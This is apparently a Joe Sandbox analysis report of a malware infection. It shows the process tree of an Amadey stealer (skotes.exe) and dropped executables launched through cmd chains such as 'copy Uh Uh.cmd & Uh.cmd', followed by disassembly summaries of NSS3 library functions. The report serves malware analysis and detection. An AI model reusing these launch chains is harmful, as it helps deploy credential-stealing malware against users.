Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	08:41:22
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	10:25:43
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6656 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:25:43
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6804 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:26:04
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGDBFCGIIIJ.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:26:04
Start date:	13/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:26:04
Start date:	13/11/2024
Path:	C:\Users\user\DocumentsGDBFCGIIIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsGDBFCGIIIJ.exe"
Imagebase:	0x330000
File size:	3'202'560 bytes
MD5 hash:	03C0A5C86AEA63FEFD8C69932449652E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.1761277158.0000000000331000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:26:06
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x390000
File size:	3'202'560 bytes
MD5 hash:	03C0A5C86AEA63FEFD8C69932449652E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.1792966737.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:26:39
Start date:	13/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7112 --field-trial-handle=2020,i,9389031914118789707,10044134577850243692,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	10:27:00
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x390000
File size:	3'202'560 bytes
MD5 hash:	03C0A5C86AEA63FEFD8C69932449652E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000002.2523822709.0000000000391000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	10:27:16
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005824001\591832b8e5.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1005824001\591832b8e5.exe"
Imagebase:	0x7ff72b250000
File size:	3'634'688 bytes
MD5 hash:	BCD58BF1A969740FD1E8329F851BB0CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:27:18
Start date:	13/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe"
Imagebase:	0x7ff79ec60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:27:18
Start date:	13/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:27:18
Start date:	13/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\exploma.exe.exe"
Imagebase:	0x7ff79ec60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:27:18
Start date:	13/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:27:19
Start date:	13/11/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping localhost -n 1
Imagebase:	0x7ff7cee90000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:27:20
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\exploma.exe.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\exploma.exe.exe
Imagebase:	0x7ff7a21e0000
File size:	3'634'688 bytes
MD5 hash:	BCD58BF1A969740FD1E8329F851BB0CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	10:27:21
Start date:	13/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005893001\oi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1005893001\oi.exe"
Imagebase:	0x400000
File size:	1'033'538 bytes
MD5 hash:	BD9EA2886936F3013285B983C3C1537E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 24%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	10:27:24
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Uh Uh.cmd & Uh.cmd
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	10:27:24
Start date:	13/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	10:27:25
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):
Commandline:	tasklist
Imagebase:
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 6CFE6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D132120,6CFE7E60), ref: 6CFE6EBC
TlsGetValue.KERNEL32 ref: 6CFE6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CFE6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CFE6F25

Part of subcall function 6CFBA900: TlsGetValue.KERNEL32(00000000,?,6D1314E4,?,6CF54DD9), ref: 6CFBA90F
Part of subcall function 6CFBA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CFBA94F

PR_Unlock.NSS3 ref: 6CFE6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CFE6FA9
TlsGetValue.KERNEL32 ref: 6CFE70B4
EnterCriticalSection.KERNEL32(?), ref: 6CFE70C8
PR_CallOnce.NSS3(6D1324C0,6D027590), ref: 6CFE7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE7117
SECOID_Init.NSS3 ref: 6CFE7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CFE714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE71A9
PR_NotifyAllCondVar.NSS3 ref: 6CFE71CF
PR_Unlock.NSS3 ref: 6CFE71DD
free.MOZGLUE(?), ref: 6CFE71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFE7208
free.MOZGLUE(00000000), ref: 6CFE7221
free.MOZGLUE(00000001), ref: 6CFE7235
TlsGetValue.KERNEL32 ref: 6CFE724A
EnterCriticalSection.KERNEL32(?), ref: 6CFE725E
PR_NotifyCondVar.NSS3 ref: 6CFE7273
PR_Unlock.NSS3 ref: 6CFE7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CFE7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFE7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6D120148,,defaultModDB,internalKeySlot), ref: 6CFE74CC
free.MOZGLUE(00000000), ref: 6CFE7513
free.MOZGLUE(00000000), ref: 6CFE751B
free.MOZGLUE(00000000), ref: 6CFE7528
free.MOZGLUE(00000000), ref: 6CFE753C
free.MOZGLUE(00000000), ref: 6CFE7550
free.MOZGLUE(00000000), ref: 6CFE7561
free.MOZGLUE(00000000), ref: 6CFE7572
free.MOZGLUE(00000000), ref: 6CFE7583
free.MOZGLUE(00000000), ref: 6CFE7594
free.MOZGLUE(00000000), ref: 6CFE75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CFE75BD
free.MOZGLUE(00000000), ref: 6CFE75C8
free.MOZGLUE(00000000), ref: 6CFE75F1
PR_NewLock.NSS3 ref: 6CFE7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CFE7686
PR_NewLock.NSS3 ref: 6CFE76A2

Part of subcall function 6D0998D0: calloc.MOZGLUE(00000001,00000084,6CFC0936,00000001,?,6CFC102C), ref: 6D0998E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CFE76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CFE7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CFE771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CFE7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CFE774A
DeleteCriticalSection.KERNEL32(?), ref: 6CFE7770
free.MOZGLUE(?), ref: 6CFE7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFE779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFE77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CFE77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CFE77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CFE7821
PORT_Alloc_Util.NSS3(?), ref: 6CFE7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CFE785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CFE786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CFE78AC
free.MOZGLUE(00000000), ref: 6CFE78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CFE78F3
free.MOZGLUE(00000000), ref: 6CFE78FC
free.MOZGLUE(00000000), ref: 6CFE791C

Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07AD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07CD
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CF5204A), ref: 6CFC07D6
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CF5204A), ref: 6CFC07E4
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,6CF5204A), ref: 6CFC0864
Part of subcall function 6CFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CFC0880
Part of subcall function 6CFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6CF5204A), ref: 6CFC08CB
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08D7
Part of subcall function 6CFC07A0: TlsGetValue.KERNEL32(?,?,6CF5204A), ref: 6CFC08FB

Strings

Spac, xrefs: 6CFE7389
dll, xrefs: 6CFE788E
kbi., xrefs: 6CFE7886
extern:, xrefs: 6CFE772B
sql:, xrefs: 6CFE76FE
,defaultModDB,internalKeySlot, xrefs: 6CFE748D, 6CFE74AA
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CFE74C7
dbm:, xrefs: 6CFE7716
rdb:, xrefs: 6CFE7744
NSS Internal Module, xrefs: 6CFE74A2, 6CFE74C6

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 4d87112db520d54bf3b4fe9dad0a3505fa2b5cf3677484699e5e8b82a0bb04ca
Instruction ID: ed016fc8f9c32846cf5e50ec522b2f79e72798853dccaab75d6b52c1448708f1
Opcode Fuzzy Hash: 4d87112db520d54bf3b4fe9dad0a3505fa2b5cf3677484699e5e8b82a0bb04ca
Instruction Fuzzy Hash: 685227B1D05305BBEF219F64EC057AA7BB4BF09308F154029EE09A7642E7B1D954CBD2

Function 6D00BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6D00C0C8

Part of subcall function 6D099440: LeaveCriticalSection.KERNEL32 ref: 6D0995CD
Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D099622
Part of subcall function 6D099440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6D09964E

PR_EnterMonitor.NSS3 ref: 6D00C0AE

Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D0991AA
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099212
Part of subcall function 6D099090: _PR_MD_WAIT_CV.NSS3 ref: 6D09926B

Part of subcall function 6CFC0600: GetLastError.KERNEL32(?,?,?,?,?,6CFC05E2), ref: 6CFC0642
Part of subcall function 6CFC0600: TlsGetValue.KERNEL32(?,?,?,?,?,6CFC05E2), ref: 6CFC065D
Part of subcall function 6CFC0600: GetLastError.KERNEL32 ref: 6CFC0678
Part of subcall function 6CFC0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CFC068A
Part of subcall function 6CFC0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFC0693
Part of subcall function 6CFC0600: PR_SetErrorText.NSS3(00000000,?), ref: 6CFC069D
Part of subcall function 6CFC0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,DC670E95,?,?,?,?,?,6CFC05E2), ref: 6CFC06CA
Part of subcall function 6CFC0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CFC05E2), ref: 6CFC06E6

PR_EnterMonitor.NSS3 ref: 6D00C0F2
PR_ExitMonitor.NSS3 ref: 6D00C10E
PR_ExitMonitor.NSS3 ref: 6D00C081

Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D09945B
Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D099479
Part of subcall function 6D099440: EnterCriticalSection.KERNEL32 ref: 6D099495
Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D0994E4
Part of subcall function 6D099440: TlsGetValue.KERNEL32 ref: 6D099532
Part of subcall function 6D099440: LeaveCriticalSection.KERNEL32 ref: 6D09955D

PR_EnterMonitor.NSS3 ref: 6D00C068

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

Part of subcall function 6CFC0600: GetProcAddress.KERNEL32(?,?), ref: 6CFC0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6D00C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6D00C183
free.MOZGLUE(00000000), ref: 6D00C18E
PR_LoadLibrary.NSS3(?), ref: 6D00C1A3
PR_EnterMonitor.NSS3 ref: 6D00C1D4
PR_ExitMonitor.NSS3 ref: 6D00C1F3
PR_CallOnce.NSS3(6D132318,6D00CA70), ref: 6D00C210
PR_EnterMonitor.NSS3 ref: 6D00C22B
PR_ExitMonitor.NSS3 ref: 6D00C247
PR_EnterMonitor.NSS3 ref: 6D00C26A
PR_ExitMonitor.NSS3 ref: 6D00C287
PR_UnloadLibrary.NSS3(?), ref: 6D00C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6D00C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D00C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6D00C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6D00C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6D00C7B5
PR_UnloadLibrary.NSS3(?), ref: 6D00C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6D00C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D00C8BF
PORT_Alloc_Util.NSS3(?), ref: 6D00C8D5
free.MOZGLUE(00000000), ref: 6D00C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6D00C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6D00C9E5
free.MOZGLUE(00000000), ref: 6D00CA5A

Strings

NSS_FORCE_TOKEN_LOCK, xrefs: 6D00C77D
NSS_ReturnModuleSpecData, xrefs: 6D00C275
PKCS 11, xrefs: 6D00C2F9, 6D00C314
FC_GetFunctionList, xrefs: 6D00C098
NSS_DEBUG_PKCS11_MODULE, xrefs: 6D00C38D
nss_mod_log, xrefs: 6D00C3CC
NSS_DISABLE_UNLOAD, xrefs: 6D00C7B0
NSC_GetFunctionList, xrefs: 6D00C093
Vendor NSS FIPS Interface, xrefs: 6D00C34A
NSC_GetInterface, xrefs: 6D00C04F
NSC_ModuleDBFunc, xrefs: 6D00C0FC
FC_GetInterface, xrefs: 6D00C054

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: dc9d7cfbfbeb510157c604f1f50c8a8924bc520f22349a0c6a72665e2515be5d
Instruction ID: d710f90c871f2f692c1243606142987036700f4f6a7ddf23d118beb66f588314
Opcode Fuzzy Hash: dc9d7cfbfbeb510157c604f1f50c8a8924bc520f22349a0c6a72665e2515be5d
Instruction Fuzzy Hash: 3E42AFB8A04205AFFF20EF64E84AB6A3BB5FB46304F464028D9059F315E7B1D554CBE6

Function 6D0E3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6D0E3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6D0E3FFE
malloc.MOZGLUE(-00000003), ref: 6D0E4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6D11FC62), ref: 6D0E404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0E407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0E40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6D0E40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0E4112
malloc.MOZGLUE(00000000), ref: 6D0E411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6D0E414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0E4160
free.MOZGLUE(?), ref: 6D0E416C
malloc.MOZGLUE(?), ref: 6D0E41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6D0E41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6D0E4520), ref: 6D0E4244
GetEnvironmentStrings.KERNEL32 ref: 6D0E424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0E4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0E4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0E42E4
malloc.MOZGLUE(00000002), ref: 6D0E42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6D0E4342
GetStdHandle.KERNEL32(000000F6), ref: 6D0E43AB
GetStdHandle.KERNEL32(000000F5), ref: 6D0E43B2
GetStdHandle.KERNEL32(000000F4), ref: 6D0E43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6D0E4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6D0E4410

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

